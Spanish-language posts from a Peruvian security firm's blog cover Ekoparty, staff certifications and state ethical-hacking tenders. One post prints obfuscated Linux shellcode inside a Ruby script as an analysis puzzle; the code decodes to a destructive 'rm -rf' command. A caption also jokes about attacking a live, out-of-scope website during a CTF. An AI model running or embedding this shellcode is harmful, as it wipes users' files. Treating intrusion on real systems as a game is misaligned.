Nos mandaron un mail diciendo que lleguemos a las 7:30 am., como buenos peruanos puntuales, llegamos a las 9:00 de la madrugada y quedó claro que argentinos y peruanos somos hermanos, más puntuales imposible!





El escenario de Ekoparty. El lugar donde se realiza es bien particular, hay que tener la mente bien abierta para encontrarle lo simpático, pero, el escenario como tal es buenísimo : un logo de Ekoparty en neón, un panel suficientemente grande, buen audio, una decoración entretenida, muy bueno.



A la izquierda : MV en el CtF. Lo curioso fue que alguien dijo : es un web! MV buscó, lo encontró y empezó a atacarlo. Rato después alguien le dice que era un web que estaba publicado en Internet y los retos eran de esos que solo entienden los creadores y sus amigos. Curiosamente, el web del reto terminó siendo "alterado". Quién habrá sido ?
A la derecha : MU, CC y JQ haciendo lockpicking que luego será aplicado en pruebas de seguridad física.
A la izquierda : seleccionando "exploits".

A la derecha : MU meditando sobre el padding oracle attack...oooommmm...ZZZZZZ




Dicen que la mejor defensa es el ataque, MV lo pone en práctica...



A la izquiera : peruanos en el subte.



A la derecha : reciclador tecnológico.






Monday, May 10, 2010

An score of 98% says that Mauricio Velazco is a Certified Ethical Hacker by EC Council...3 C|EH @ Open-Sec

Para nosotros es un tema bien importante el reconocimiento a quienes demuestran feacientemente su conocimiento y el hecho que Mauricio Velazco haya obtenido el dia de hoy la certificacion de C|EH es muy importante por varias razones :
1. Es el miembro mas joven de nuestro equipo y afaik, es el C|EH mas joven en Perú con 24 años.
2. Ya lleva cerca de 2 años haciendo unicamente ehtical hacking y computación forense y el puntaje obtenido en el examen demuestra que su experiencia ayudo mucho para el examen (no llevo un curso o similar).
3. Open-Sec resulta siendo la unica empresa local que cuenta con 3 C|EH en staff permanente.
4. Este es solamente el inicio de una saga de certificaciones que obtendra Mauricio, hoy conversabamos sobre la proxima, CPTE.

FELICITACIONES MAURICIO!!!

UPDATE : El día de ayer también obtuvo su certificación como C|EH el consultor Rolando Antón. El no es parte del equipo de Open-Sec, es parte del equipo de Etel Perú, pero, es un gran Amigo nuestro y mio en particular.

Dado que hoy día Mauricio Velazco cumplió 25 años, desde hoy hasta octubre de este año, Rolando es el C|EH peruano más joven (AFAIK).

FELICITACIONES ROLANDO!!!!

Wednesday, April 07, 2010

Pago por ver: Qué hace este shellcode ?

Hace unos días le paso algo a un amigo y un post de HD Moore sobre las cosas "ocultas" en los shellcode me hicieron pensar en postear algo al respecto y que sea técnico para que este blog no se muera.
Lo que me terminó de convencer fue que en una lista de gente certificada alguien consulto sobre un error que le aparecia al compilar un exploit que se bajo de exploit-db. Facil : queria compilar un programa en C para MS Windows en Linux.
Dado que este blog no es educativo, solamente me limitare a decir que hay demasiada informacion en Internet sobre exploits, hay que saber programar para usarlos (si no, troyano para adentro o cualquier cosa similar y/o peor).
Asi que dicho eso, para jugar con los exploits y shellcodes se requiere tener skills y experiencia de desarrollador, principalmente en C (pero, no es lo único) y en Assembler.
Si tengo un shellcode entre manos :
1. Lo paso a algo que pueda entender : ensamblador.
2. "des-ensamblo" el codigo para revisar que hace el programa.
3. Puedo generar el binario ejecutable, correrlo en una maquina virtual de scratch y bajo la "supervision" de un trazador (strace por ejemplo).

Los puntos 1 y 2 se pueden hacer con (no son las unicas formas) :
A. Un script donde se pega la porcion del shellcode y se obtiene un binario (no ejecutable, solo objeto) :
#/usr/bin/ruby
myfile = File.new("shellcode.bin", "w")
shellcode = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"+
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"+
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"+
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"+
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"+
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"+
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
myfile.write(shellcode)
myfile.close

B. Luego, a leer el shellcode en ensamblador :
ndisasm -b 32 shellcode.bin

El resto, para un proximo post mientras los que no sabian estas cosas repasan su ensamblador.

Wednesday, February 03, 2010

Discusion sobre requisitos para hacer un Ethical Hacking

No habia querido postear sobre este tema porque cada que posteo algo no tecnico me siento MAS viejo y porque aun no se daban analisis y conclusiones mas alla de mis (nuestras) opiones y convicciones, pero, tambien de algunos hechos reales.

Ahora que ya todo es informacion publica y esta oleado y sacramentado, si me decidi a compartir este hecho : se aperturo un concurso de contratacion para un servicio de ethical hacking en una entidad del Estado Peruano y las bases fueron observadas por un postor en 3 aspectos.

A continuacion la reproduccion de los requerimientos, las observaciones y mis opiniones :

1. Se solicitaba :

"Copias simples de las certificaciones relativas a seguridad informática (cada uno de los consultores deberá contar con un mínimo de 01 certificación), la certificación deberá tener una antigüedad no menor a seis (06) meses. No se aceptarán certificaciones emitidas por fabricantes de hardware y/o software.
La omisión de alguno de los documentos enunciados acarreará la descalificación de la propuesta.
7 PERSONAL A CARGO DEL SERVICIO
Todos los consultores deberán contar con mínimo una (01) certificación relativa a seguridad informática, las certificaciones deberán tener una antigüedad no menor a 6 meses, no se aceptarán certificaciones emitidas por fabricantes de hardware y/o software."

La observacion presentada indica :

"En estos puntos observamos que solicitar certificados con antigüedad no menor a seis meses es limitante y restrictivo, está dirigido a que exista un único postor con consultor que tiene ese tipo de certificado con ese intervalo de tiempo. Con este requisito innecesario no podré participar en este concurso público y supongo que muchos postores también, por lo expuesto solicito retirar estos requisitos innecesarios y restrictivos."

Lo curioso de esto es que hubiese sido bueno tener la fuente de tal informacion estadistica porque dentro de lo que yo conozco existen por lo menos 4 C|EH en Perú que si cumplen con tener mucho mas antiguedad con su certificacion que 6 meses.
Por ello, esa observacion, cuando menos, me parece que muestra desconocimiento del mercado local de ethical hacking.

2. Se solicitaba :

"El Consultor Principal del equipo de consultores deberá contar con una certificación correspondiente a labores de hackeo ético en modalidad de ataque, es decir, certificaciones como Certified Ethical Hacker, EcCouncil Certified Security Analyst, Licensed Penetration Tester, OSSTMM Professional Security Analyst, OSSTMM Professional Security Tester, Certified Pen Testing Specialist, Certified Pen Testing Expert, GIAC Penetration Tester y/o Offensive Security Certified Professional. No se aceptarán certificaciones relativas a seguridad de la información, forensia ni relativas a productos en defensa o análisis de intrusiones."

La observacion presentada por el mismo postor indica :

"Observamos que según la Ley de Contrataciones y Adquisiciones del Estado prohíbe la referencia a marcas o nombres comerciales, patentes, diseños o tipos particulares, por lo expuesto solicitamos retirar los nombres de estas certificaciones mencionadas por estar transgrediendo la Ley."

Esto me parece parcialmente correcto. Es decir, la Ley mencionada indica exactamente eso, pero, la referencia es para compras de activos, principalmente, ya que no se puede pedir comprar un equipo marca ACME en las primeras compras. Esto es igual absurdo porque al revisar las especificaciones tecnicas, resulta que casi siempre, solo el equipo ACME cumple.

Pero, no es correcto del todo porque al indicar "certificaciones como" se da cabida a las mencionadas y otras mas para que no ocurra que algun postor se aproveche (como ya ha ocurrido muchas veces) y presente consultores con certificaciones genericas de seguridad (como GSEC) o de analisis de intrusiones (que implica conocer como se produjo un ataque, pero, no certifica el conocer como hacerlo, esto pasa en SANS/GIAC donde hay certificaciones diferentes como GCIH y GPEN, respectivamente).
Otra cosa que ocurre es que presentan o piden certificaciones como CISSP, CISA o CISM como si estas fueran referencias a conocer como realizar un ethical hacking.

3. Se solicita :

"Para la calificación en este factor, el postor deberá presentar el plan de trabajo detallado en los términos de referencial los cuales se deben ser precisados, éste contendrá la metodología OSSTMM , el cronograma usando las herramientas gantt, el equipamiento e infraestructura que se utilizará durante todas las pruebas, la descripción de las actividades así como la lista y descripción de las herramientas.

La asignación de puntaje será de acuerdo al siguiente criterio:

Presenta Plan de Trabajo detallado completo 25 puntos
No presenta plan de Trabajo completo 00 puntos"

El mismo postor plantea la siguiente observacion :

"Observamos que la solicitud de la presentación de un plan de trabajo para la calificación es muy ambigua, solicitamos eliminar este requisito por ser ambiguo en su calificación y se presta a favorecer a un determinado portor con una calificación subjetiva y no cuantitativa o en tal caso solicitamos nos alcancen el detalle completo del contenido del Plan de Trabajo indicando cuanto vale cada parte del plan de trabajo para que llegue a sumar los 25 puntos. Tenemos derecho a conocer a que las calificaciones sean precisas y no ambiguas por ser un Concurso Público."

Esto si es sumamente preocupamente porque el postor indica que la calificacion es ambigua. El tema es bien simple : te dicen que debe contener el plan de trabajo, preparalo, presentalo y listo, tienes el puntaje. Ahi no dice que se daran mas o menos puntos por el mejor o peor plan de trabajo y encima solicitan mas detalle.

Dado que no quedaron conformes con la respuesta de la entidad, pidieron que el titular de la misma se manifieste al respecto (el Ministro) y recibieron tambien el rechazo a las mismas aunque incluyeron una precision respecto a que las certificaciones mencionadas son solo un ejemplo y que de presentar otras similares, pero, no mencionadas, seran aceptadas.

Luego de conocer las observaciones planteadas me anime a participar dado que cumplimos perfectamente con los requisitos y, obviamente, el postor que interpuso las observaciones desistio de participar. Corrimos solos y ganamos porque cumplimos con los requerimientos e incluso otros mas complejos.

El parrafo anterior es unicamente una muestra de la transparencia de este hecho, al menos de mi parte, ya que me llamo mucho la atencion encontrar un proceso similar en el cual este postor gano con unos requerimientos mas particulares aun (el jefe de equipo tenia que tener las certificaciones de CISM, CISSP y GCIH para obtener el maximo puntaje en un factor especifico) y donde tambien se calificaba el plan de trabajo (se indicaba puntaje por cada punto del mismo, pero, igual, no habia calificacion por mejor o peor plan que es lo que si haria que sea ambigua).

Como dato anecdotico, la seccion donde se describen los alcances, la descripcion y entregables del servicio fueron tomadas de documentos creados por nosotros y que siempre los hemos compartido de forma abierta, asi que probablemente llegaron a manos de la entidad que convoco y los uso.

- Nuestro mercado peruano carece de una gran cantidad de profesionales certificados en seguridad como encontramos en otros paises cercanos y, mas aun, en temas de ethical hacking.

Incluso certificaciones base como GSEC son presentadas como demostracion del conocimiento y experiencia en ethical hacking cuando solo certifican conocimientos basicos de seguridad.

El hecho concreto es que en nuestro pais contamos con por lo menos 6 C|EH y 2 GPEN, casi todos trabajan en proveedores y por ello, si se deben exigir certificaciones similares. No menciono otras como OCSP, OSCE, OPST, OPSA, CPTS, etc. porque hasta donde he visto y conozco, solo Andres Morales las tiene aca.

- Es valido encontrar empresas que empiezan a ganar experiencia en consultorias de seguridad de la informacion, auditorias, etc., pero, no es valido permitir que se conviertan en buscadores de oportunidades sin considerar que podrian hacer que nuestro mercado no suba de nivel.

Si subcontratan consultores o realizan alianzas para obtener negocios y aun asi no cumplen con los requerimientos, ya lo haran en tiempos posteriores.

El siguiente nivel de exigencia deberia ser demostrar que las certificaciones aun estan vigentes. Vemos constantemente que hay personas que se presentan con certificaciones que ya las perdieron por no renovarlas y certificaciones que ya no existen. Incluso, si recuerdan, impugnamos un concurso donde gano una empresa con base en el extranjero que presento un consultor con un certificado adulterado.

Las certificaciones de seguridad requieren ser revalidadas continuamente mediante la obtencion de creditos por actividades o retomando los examenes.

- La respuesta del titular de la entidad sento precendete administrativo porque hubiese sido bien grave que las observaciones sean admitidas ya que se habria generado una especie de jurisprudencia para que no se exija antiguedad en las certificaciones, certificaciones acordes al objeto de la convocatoria y que los planes de trabajo no sean calificados.

- Los que se dedican a consultoria de seguridad deben invertir en su mejor herramienta : los consultores. Es decir, deberian invertir en certificarlos.

Hace unas semanas publicaron un articulo mio en America Sistemas donde planteaba la idea de tener una suerte de cyberteam en Perú y, claro, convocado por el Estado. En esta oportunidad, planteo que el Estado deberia definir unos terminos de referencia base para contrataciones de servicios de ethical hacking o similares y que sean desarrollados despues de sostener reuniones con los proveedores locales para que guarde coherencia y vigencia.

Saludos!

Thursday, January 07, 2010

Nombre Comercial: PEPITA

Yo creo que algun error en el sistema porque no puede ser el nombre comercial de una persona natural que hace consultoria en seguridad directamente o por su empresa...
O tal vez se motivaron con la publicidad de Creatividad de Inca Kola...jejeje